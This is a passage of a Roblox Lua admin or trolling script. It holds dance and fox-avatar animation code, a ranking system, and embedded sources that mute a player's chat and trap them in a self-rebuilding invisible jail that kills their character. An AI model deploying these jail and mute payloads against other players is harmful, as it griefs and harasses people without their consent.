    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.rad(global_wait*4), 0)
    elseif global_wait > 89 then
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.05))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, -math.abs(angle*0.05))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(math.abs(angle*0.1), 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, math.sin(angle*0.1))
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
end
elseif durka then
countspeed = 2
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + math.abs(angle*0.2), 0, math.abs(angle*0.07))
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(angle*0.1, 0, -math.abs(angle*0.07))
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, 0, -math.abs(angle*0.03))
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, 0, math.abs(angle*0.03))
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(-angle*.035), 0) * CFrame.Angles(0, math.sin(angle*0.05), 0)
elseif saxguy then
    countspeed = 5
    ls.C0 = CFrame.new(-.25,.1,-.1)  * CFrame.Angles(math.pi/2.5, 0, math.pi/4)
    rs.C0 = CFrame.new(.25,.1,-.1) * CFrame.Angles(math.rad(60), 0, -math.pi/4)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(-math.abs(angle*0.1), 0, -0.06)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-math.abs(angle*0.1), 0, 0.06)
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(0, 0, 0)
    rj.C0 = CFrame.new(0, -math.abs(angle*0.01), math.abs(angle*0.01)) * CFrame.Angles(math.abs(angle*0.1), 0, 0)
elseif heya then
     countspeed = 5
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi + -angle*0.2, -angle*0.1, 0)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi + angle*0.2, angle*0.1, 0)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.sin(angle*0.07), 0)
elseif jb then
         countspeed = 5
    ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/2 + -angle*0.2, -angle*0.1, 0)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/2 + angle*0.2, angle*0.1, 0)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
elseif bronymusic then
             countspeed = 5
    ls.C0 = CFrame.new(-.1,.1,-.15)  * CFrame.Angles(math.pi/2 + -angle*0.1, -angle*0.1, 0)
    rs.C0 = CFrame.new(.1,.1,-.15) * CFrame.Angles(math.pi/2 + angle*0.1, angle*0.1, 0)
    lh.C0 = CFrame.new(-.1,-.25,0)  * CFrame.Angles(math.pi/2 + angle*0.1, 0, 0)
    rh.C0 = CFrame.new(.1,-.25,0) * CFrame.Angles(math.pi/2 + -angle*0.1, 0, 0)
    neck.C0 = CFrame.new(0,.25,0) * CFrame.Angles(math.pi/2 + math.abs(angle*0.25), 0, 0)
    rj.C0 = CFrame.new(0, -0.2 + math.abs(angle*0.05), 0) * CFrame.Angles(-math.rad(85), 0, 0)
elseif sheddy then
    countspeed = 7
        ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
elseif burndem then
    countspeed = 4
     ls.C0 = CFrame.new(-.3,.1,0)  * CFrame.Angles(math.pi/4 + -angle*0.4, -angle*0.1, 0)
    rs.C0 = CFrame.new(.3,.1,0) * CFrame.Angles(math.pi/4 + angle*0.4, angle*0.1, 0)
    lh.C0 = CFrame.new(-.1,-.2,0)  * CFrame.Angles(angle*0.05, angle*0.1, -0.06)
    rh.C0 = CFrame.new(.1,-.2,0) * CFrame.Angles(-angle*0.05, -angle*0.1, 0.06)
    neck.C0 = CFrame.new(0,.2,0) * CFrame.Angles(math.abs(0.2), 0, 0)
    rj.C0 = CFrame.new(0, math.abs(angle*0.05), 0) * CFrame.Angles(0, math.abs(angle*0.1), 0)
end
end
end)


plr.Chatted:connect(function(msg)
    game:service'Chat':Chat(head, msg, 1)
    if msg == "die/" then
        char:breakJoints()
    end

end)

end)
if not ran and err then
    print(err)
end
]==]

Doge = [==[
do --CFrame lerp
        local function QuaternionFromCFrame(cf)
                local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
                local trace = m00 + m11 + m22
                if trace > 0 then
                        local s = math.sqrt(1 + trace)
                        local recip = 0.5/s
                        return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
                else
                        local i = 0
                        if m11 > m00 then
                                i = 1
                        end
                        if m22 > (i == 0 and m00 or m11) then
                                i = 2
                        end
                        if i == 0 then
                                local s = math.sqrt(m00-m11-m22+1)
                                local recip = 0.5/s
                                return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
                        elseif i == 1 then
                                local s = math.sqrt(m11-m22-m00+1)
                                local recip = 0.5/s
                                return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
                        elseif i == 2 then
                                local s = math.sqrt(m22-m00-m11+1)
                                local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
                        end
                end
        end
        local function QuaternionToCFrame(px, py, pz, x, y, z, w)
                local xs, ys, zs = x + x, y + y, z + z
                local wx, wy, wz = w*xs, w*ys, w*zs
                local xx = x*xs
                local xy = x*ys
                local xz = x*zs
                local yy = y*ys
                local yz = y*zs
                local zz = z*zs
                return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
                end
        local function QuaternionSlerp(a, b, t)
                local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
                local startInterp, finishInterp;
                if cosTheta >= 0.0001 then
                        if (1 - cosTheta) > 0.0001 then
                                local theta = math.acos(cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((1-t)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = 1-t
                                finishInterp = t
                        end
                else
                        if (1+cosTheta) > 0.0001 then
                                local theta = math.acos(-cosTheta)
                                local invSinTheta = 1/math.sin(theta)
                                startInterp = math.sin((t-1)*theta)*invSinTheta
                                finishInterp = math.sin(t*theta)*invSinTheta
                        else
                                startInterp = t-1
                                finishInterp = t
                        end
                end
                return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
        end
        function clerp(a,b,t)
                local qa = {QuaternionFromCFrame(a)}
                local qb = {QuaternionFromCFrame(b)}
                local ax, ay, az = a.x, a.y, a.z
                local bx, by, bz = b.x, b.y, b.z
                local _t = 1-t
                return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
        end

end
do --the animating
plr = game:service'Players'.LocalPlayer
char = plr.Character
mouse = plr:GetMouse()
humanoid = char:findFirstChild("Humanoid")
torso = char:findFirstChild("Torso")
head = char.Head
ra = char:findFirstChild("Right Arm")
la = char:findFirstChild("Left Arm")
rl = char:findFirstChild("Right Leg")
ll = char:findFirstChild("Left Leg")
rs = torso:findFirstChild("Right Shoulder")
ls = torso:findFirstChild("Left Shoulder")
rh = torso:findFirstChild("Right Hip")
lh = torso:findFirstChild("Left Hip")
neck = torso:findFirstChild("Neck")
rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
anim = char:findFirstChild("Animate")
rootpart = char:findFirstChild("HumanoidRootPart")
camera = workspace.CurrentCamera
if anim then
anim:Destroy()
end


local rm = Instance.new("Motor", torso)
rm.C0 = CFrame.new(1.5, 0.5, 0)
rm.C1 = CFrame.new(0, 0.5, 0)
rm.Part0 = torso
rm.Part1 = ra
local lm = Instance.new("Motor", torso)
lm.C0 = CFrame.new(-1.5, 0.5, 0)
lm.C1 = CFrame.new(0, 0.5, 0)
lm.Part0 = torso
lm.Part1 = la

local rlegm = Instance.new("Motor", torso)
rlegm.C0 = CFrame.new(0.5, -1, 0)
rlegm.C1 = CFrame.new(0, 1, 0)
rlegm.Part0 = torso
rlegm.Part1 = rl
local llegm = Instance.new("Motor", torso)
llegm.C0 = CFrame.new(-0.5, -1, 0)
llegm.C1 = CFrame.new(0, 1, 0)
llegm.Part0 = torso
llegm.Part1 = ll

neck.C0 = CFrame.new(0, 1, 0)
neck.C1 = CFrame.new(0, -0.5, 0)


rj.C0 = CFrame.new()
rj.C1 = CFrame.new()


local sound = Instance.new("Sound", head)
sound.SoundId = "http://www.roblox.com/asset/?id=152745539"
sound.Volume = 0.8
sound.Looped = true

for i,v in pairs(char:children()) do
    if v:IsA("Hat") then
        v:Destroy()
    end
end


--look of the fox here
game:service'InsertService':LoadAsset(153955396):children()[1].Parent = char
Instance.new("PointLight", head).Range = 10




local speed = 0.3
local angle = 0
local sitting = false
local humanwalk = false
local anglespeed = 1
rsc0 = rm.C0
lsc0 = lm.C0
llc0 = llegm.C0
rlc0 = rlegm.C0
neckc0 = neck.C0

local controllerService = game:GetService("ControllerService")
local controller = controllerService:GetChildren()[1]

controller.Parent = nil

Instance.new("HumanoidController", game:service'ControllerService')
Instance.new("SkateboardController", game:service'ControllerService')
Instance.new("VehicleController", game:service'ControllerService')
local controller = controllerService:GetChildren()[1]
mouse.KeyDown:connect(function(k)
    if k == "q" then
        humanwalk = not humanwalk
    end
    if k == "z" then
        if not sound.IsPlaying then
            sound:stop()
            sound.SoundId = "http://www.roblox.com/asset/?id=130802245"
            wait()
            sound:play()
        end
    end
    if k == "x" then
        if not sound.IsPlaying then
            sound:stop()
            sound.SoundId = "http://www.roblox.com/asset/?id=152745539"
            wait()
            sound:play()
        end
    end
    if k == "c" then
        if not sound.IsPlaying then
            sound:stop()
            sound.SoundId = "http://www.roblox.com/asset/?id=142991813"
            wait()
            sound:play()
        end
    end
    if string.byte(k) == 48 then
        humanoid.WalkSpeed = 34
    end

end)
mouse.KeyUp:connect(function(k)

    if string.byte(k) == 48 then
        humanoid.WalkSpeed = 16
    end

end)



while wait() do
    angle = (angle % 100) + anglespeed/10
        mvmnt = math.pi * math.sin(math.pi*2/100*(angle*10))
        local rscf = rsc0
        local lscf = lsc0
        local rlcf = rlc0
        local llcf = llc0
        local rjcf = CFrame.new()
        local ncf = neckc0
        local rayz = Ray.new(rootpart.Position, Vector3.new(0, -6, 0))
            local hitz, enz = workspace:findPartOnRay(rayz, char)
            if not hitz then
        if sound.IsPlaying then
            sound:stop()
        end

        if Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude > 2 then

        ncf = neckc0 * CFrame.Angles(math.pi/5, 0, 0)
        rjcf = CFrame.new() * CFrame.Angles(-math.pi/5, math.sin(angle)*0.05, 0)
        rscf = rsc0 * CFrame.Angles(math.pi/1.7+math.sin(angle)*0.1, 0, 0)
        lscf = lsc0 * CFrame.Angles(math.pi/1.7+math.sin(-angle)*0.1, 0, 0)
        rlcf = rlc0 * CFrame.Angles(-math.pi/10+math.sin(-angle)*0.3, 0, 0)
        llcf = llc0 * CFrame.Angles(-math.pi/10+math.sin(angle)*0.3, 0, 0)

        else

        ncf = neckc0 * CFrame.Angles(math.pi/14, 0, 0)
        rjcf = CFrame.new() * CFrame.Angles(-math.pi/18, math.sin(angle)*0.05, 0)
        rscf = rsc0 * CFrame.Angles(-math.pi/10+math.sin(angle)*0.2, 0, 0)
        lscf = lsc0 * CFrame.Angles(-math.pi/10+math.sin(-angle)*0.2, 0, 0)
        rlcf = rlc0 * CFrame.new(0, 0.7, -0.5) CFrame.Angles(-math.pi/14, 0, 0)
        llcf = llc0 * CFrame.Angles(-math.pi/20, 0, 0)

        end
    elseif humanoid.Sit then
        if sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=152745539" then
        anglespeed = 6
        ncf = neckc0 * CFrame.Angles(math.pi/5-math.sin(angle)*0.1, 0, 0)
        rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, 0, 0)
        rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
        lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
        rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
        llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
        elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
        anglespeed = 4
        ncf = neckc0 * CFrame.Angles(math.pi/5-math.abs(math.sin(angle))*0.3, 0, 0)
        rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, 0, 0)
        rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
        lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
        rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
        llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
        elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
        anglespeed = 2
        ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
        rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
        rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
        lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
        rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
        llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
        else
        anglespeed = 1/2
        ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
        rjcf = CFrame.new(0, -0.8, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
        rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
        lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
        rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
        llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
        end
    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 2 then
        if sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=130797915" then
        anglespeed = 6
            ncf = neckc0 * CFrame.Angles(math.pi/10-math.sin(angle)*0.07, 0, 0)
            rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/10, math.sin(angle)*0.001, 0)
            rscf = rsc0 * CFrame.Angles(math.pi/1+math.sin(angle)*0.5, 0, 0)
            lscf = lsc0 * CFrame.Angles(math.pi/1+math.sin(angle)*0.5, 0, 0)
            rlcf = rlc0 * CFrame.Angles(math.pi/10, math.sin(angle)*0.08, math.rad(6.5))
            llcf = llc0 * CFrame.Angles(math.pi/10, -math.sin(angle)*0.08, -math.rad(6.5))
        elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
            anglespeed = 2
            ncf = neckc0 * CFrame.Angles(math.pi/10-math.abs(math.sin(angle))*0.3, 0, 0)
            rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/20, math.sin(angle)*0.001, 0)
            rscf = rsc0 * CFrame.Angles(math.pi/2+math.abs(math.sin(angle)*1), 0, 0)
            lscf = lsc0 * CFrame.Angles(math.pi/2+math.abs(math.sin(angle)*1), 0, 0)
            rlcf = rlc0 * CFrame.Angles(math.pi/20, math.sin(angle)*0.08, math.rad(2.5))
            llcf = llc0 * CFrame.Angles(math.pi/20, -math.sin(angle)*0.08, -math.rad(2.5))
        elseif sound.IsPlaying and sound.SoundId == "http://www.roblox.com/asset/?id=145088518" then
        anglespeed = 3
        ncf = neckc0 * CFrame.Angles(math.sin(angle)*0.07, math.rad(30), 0)
        rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(0, math.sin(angle)*0.001, 0)
        rscf = rsc0 * CFrame.Angles(math.sin(angle)*0.05, 0, 0)
        lscf = lsc0 * CFrame.Angles(math.sin(-angle)*0.05, 0, 0)
        rlcf = rlc0 * CFrame.new(0, -0.1 + math.abs(mvmnt)*0.1, -0.1) * CFrame.Angles(0, math.rad(5), math.rad(5))
        llcf = llc0 * CFrame.Angles(0, math.rad(2.5), math.rad(1))
        else
            if humanwalk then
                        anglespeed = 1/4
        ncf = neckc0 * CFrame.Angles(-math.sin(angle)*0.07, 0, 0)
        rjcf = CFrame.new(0, 0, 0) * CFrame.Angles(0, math.sin(angle)*0.001, 0)
        rscf = rsc0 * CFrame.Angles(math.sin(angle)*0.1, 0, 0)
        lscf = lsc0 * CFrame.Angles(math.sin(-angle)*0.1, 0, 0)
        rlcf = rlc0 * CFrame.Angles(0, math.sin(angle)*0.08, math.rad(2.5))
        llcf = llc0 * CFrame.Angles(0, -math.sin(angle)*0.08, -math.rad(2.5))
                else
        anglespeed = 1/2
        ncf = neckc0 * CFrame.Angles(math.pi/5, 0, math.sin(angle)*0.08)
        rjcf = CFrame.new(0, -2, 0) * CFrame.Angles(-math.pi/5, math.sin(angle)*0.01, 0)
        rscf = rsc0 * CFrame.new(-.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, -math.rad(15))
        lscf = lsc0 * CFrame.new(.45, 0.2, -.3) * CFrame.Angles(math.pi/3, 0, math.rad(15))
        rlcf = rlc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, math.rad(20))
        llcf = llc0 * CFrame.Angles(math.pi/2+math.pi/5, 0, -math.rad(20))
            end
        end
    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude < 20 then
        if sound.IsPlaying then
            sound:stop()
        end
        if humanwalk then
                                anglespeed = 4
        ncf = neckc0 * CFrame.Angles(math.pi/24, mvmnt*.02, 0)
        rjcf = CFrame.new(0, math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/24, -mvmnt*.02, 0)
        rscf = rsc0 * CFrame.Angles(math.sin(angle)*1.25, 0, -math.abs(mvmnt)*0.02)
        lscf = lsc0 * CFrame.Angles(math.sin(-angle)*1.25, 0, math.abs(mvmnt)*0.02)
        rlcf = rlc0 * CFrame.Angles(math.sin(-angle)*1, 0, math.rad(.5))
        llcf = llc0 * CFrame.Angles(math.sin(angle)*1, 0, -math.rad(.5))
                else
        anglespeed = 4
        ncf = neckc0 * CFrame.new(0, 0, .2) * CFrame.Angles(math.pi/1.9, 0, 0)
        rjcf = CFrame.new(0, -1.5+math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/1.9, math.sin(mvmnt/2)*0.05, 0)
        rscf = rsc0 * CFrame.new(-.45, 0.2, -.4+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2+math.sin(angle)*0.7, 0, math.rad(5))
        lscf = lsc0 * CFrame.new(.45, 0.2, .1-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2+math.sin(-angle)*0.7, 0, -math.rad(5))
        rlcf = rlc0 * CFrame.new(0, 0, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*0.6, 0, math.abs(mvmnt)*0.025)
        llcf = llc0 * CFrame.new(0, 0, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(angle)*.6, 0, -math.abs(mvmnt)*0.025)
        end
    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 20 then
        if sound.IsPlaying then
            sound:stop()
        end
        if humanwalk then
        anglespeed = 5
        ncf = neckc0 * CFrame.Angles(math.pi/20, math.sin(angle)*.04, 0)
        rjcf = CFrame.new(0, -.4 + math.abs(mvmnt)*0.25, 0) * CFrame.Angles(-math.pi/20, -math.sin(angle)*.08, 0)
        rscf = rsc0 * CFrame.new(0, 0, -.3+math.abs(mvmnt)*0.125) *  CFrame.Angles(math.pi/18+math.sin(angle)*1.5, 0, -math.abs(mvmnt)*0.02)
        lscf = lsc0 * CFrame.new(0, 0, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/18+math.sin(-angle)*1.5, 0, math.abs(mvmnt)*0.02)
        rlcf = rlc0 * CFrame.new(0, 0, -.6+math.abs(mvmnt)*0.125) * CFrame.Angles(-math.pi/18+math.sin(-angle)*1.3, 0, math.rad(.5))
        llcf = llc0 * CFrame.new(0, 0, -math.abs(mvmnt)*0.125) * CFrame.Angles(-math.pi/18+math.sin(angle)*1.3, 0, -math.rad(.5))
        else
        anglespeed = 5.5
        ncf = neckc0 * CFrame.new(0, 0, .2) * CFrame.Angles(math.pi/1.9+math.sin(mvmnt/2)*0.05, 0, 0)
        rjcf = CFrame.new(0, -1.3+math.abs(mvmnt)*0.05, 0) * CFrame.Angles(-math.pi/1.9+math.abs(mvmnt/2)*0.1, 0, 0)
        rscf = rsc0 * CFrame.new(-1, 0.2, -.5) * CFrame.Angles(math.pi/2+math.sin(angle)*1.8, 0, math.rad(5))
        lscf = lsc0 * CFrame.new(1, 0.2, -.5) * CFrame.Angles(math.pi/2+math.sin(angle)*1.8, 0, -math.rad(5))
        rlcf = rlc0 * CFrame.new(0, .3-math.abs(mvmnt)*0.125, -.3+math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*1.4, 0, math.abs(mvmnt)*0.025)
        llcf = llc0 * CFrame.new(0, .3-math.abs(mvmnt)*0.125, .3-math.abs(mvmnt)*0.125) * CFrame.Angles(math.pi/2.5+math.sin(-angle)*1.4, 0, -math.abs(mvmnt)*0.025)
        end
    end

    rm.C0 = clerp(rm.C0,rscf,speed)
    lm.C0 = clerp(lm.C0,lscf,speed)
    rj.C0 = clerp(rj.C0,rjcf,speed)
    neck.C0 = clerp(neck.C0,ncf,speed)
    rlegm.C0 = clerp(rlegm.C0,rlcf,speed)
    llegm.C0 = clerp(llegm.C0,llcf,speed)
end


end
]==]

MuteSource = [==[
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
]==]

UnMuteSource = [==[
        game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
]==]

JailSource = [==[
        wait(0)
        script.Parent = nil

        local LP = game:GetService("Players").LocalPlayer
        Middle2 = nil
        Middle = nil
        game:GetService("Workspace").CurrentCamera:ClearAllChildren()

        Cons = {}

        function makePrison()
                for _,v in pairs(Cons) do
                        v:disconnect()
                end
                game:GetService("Workspace").CurrentCamera:ClearAllChildren()
                if Middle == nil then
                        Middle2 = LP.Character.Torso.Position
                        Middle = LP.Character.Torso.CFrame
                end
                local side1 = Instance.new("Part")
                side1.Name = "¬Focus1¬"
                side1.Size = Vector3.new(20, 50, 1)
                side1.CFrame = Middle * CFrame.new(0, 0, -10)
                side1.BrickColor = BrickColor.new("Really black")
                side1.CanCollide = true
                side1.Anchored = true
                side1.TopSurface = "Smooth"
                side1.BottomSurface = "Smooth"
                side1.Parent = game:GetService("Workspace").CurrentCamera

                local side2 = Instance.new("Part")
                side2.Name = "¬Focus2¬"
                side2.Size = Vector3.new(20, 50, 1)
                side2.CFrame = Middle * CFrame.new(0, 0, 10)
                side2.BrickColor = BrickColor.new("Really black")
                side2.CanCollide = true
                side2.Anchored = true
                side2.TopSurface = "Smooth"
                side2.BottomSurface = "Smooth"
                side2.Parent = game:GetService("Workspace").CurrentCamera

                local side3 = Instance.new("Part")
                side3.Name = "¬Focus3¬"
                side3.Size = Vector3.new(1, 50, 20)
                side3.CFrame = Middle * CFrame.new(10, 0, 0)
                side3.BrickColor = BrickColor.new("Really black")
                side3.CanCollide = true
                side3.Anchored = true
                side3.TopSurface = "Smooth"
                side3.BottomSurface = "Smooth"
                side3.Parent = game:GetService("Workspace").CurrentCamera

                local side4 = Instance.new("Part")
                side4.Name = "¬Focus4¬"
                side4.Size = Vector3.new(1, 50, 20)
                side4.CFrame = Middle * CFrame.new(-10, 0, 0)
                side4.BrickColor = BrickColor.new("Really black")
                side4.CanCollide = true
                side4.Anchored = true
                side4.TopSurface = "Smooth"
                side4.BottomSurface = "Smooth"
                side4.Parent = game:GetService("Workspace").CurrentCamera

                local side5 = Instance.new("Part")
                side5.Name = "¬Focus5¬"
                side5.Size = Vector3.new(20, 1, 20)
                side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
                side5.BrickColor = BrickColor.new("Really black")
                side5.CanCollide = true
                side5.Anchored = true
                side5.TopSurface = "Smooth"
                side5.BottomSurface = "Smooth"
                side5.Parent = game:GetService("Workspace").CurrentCamera

                wait(0)

                table.insert(Cons, side1.Changed:connect(makePrison))
                table.insert(Cons, side2.Changed:connect(makePrison))
                table.insert(Cons, side3.Changed:connect(makePrison))
                table.insert(Cons, side4.Changed:connect(makePrison))
                table.insert(Cons, side5.Changed:connect(makePrison))
        end

        Delay(0, function()
                while wait(0) do
                        ypcall(function()
                                if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
                                        LP.Character:BreakJoints()
                                elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
                                        makePrison()
                                end
                        end)
                        ypcall(function()
                                if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
                                        LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
                                end
                        end)
                end
        end)
]==]

function All()
        local AllPlayers = {}
        for _,v in pairs(Plrs:GetPlayers()) do
                ypcall(function()
                        table.insert(AllPlayers, v)
                end)
        end
        return AllPlayers
end

function All2()
        local AllPlayers2 = {}
        for i,v in pairs(Net:GetChildren()) do
                ypcall(function()
                        if v:IsA("ServerReplicator") then
                                table.insert(AllPlayers2, v:GetPlayer())
                        end
                end)
        end
        return AllPlayers2
end

function MakeNum()
        return 2 + 4
end

function ChangeRank(Plr, NewRank)
        local PlrName = nil
        local FoundPlayer = false
        ypcall(function()
                if type(Plr) == "string" then
                        ypcall(function()
                                for i,v in pairs(Rankings) do
                                        if v.Name:lower() == Plr:lower() then
                                                local VName = v.Name
                                                Rankings[i] = nil
                                                table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                PlrName = VName
                                                FoundPlayer = true
                                                break
                                        end
                                end
                        end)
                        if FoundPlayer == false then
                                ypcall(function()
                                        for _,x in pairs(All()) do
                                                if x.Name:lower() == Plr:lower() then
                                                        FoundPlayer = true
                                                        for i,v in pairs(Rankings) do
                                                                if v.Name:lower() == x.Name:lower() then
                                                                        local VName = x.Name
                                                                        Rankings[i] = nil
                                                                        PlrName = VName
                                                                        break
                                                                end
                                                        end
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                end
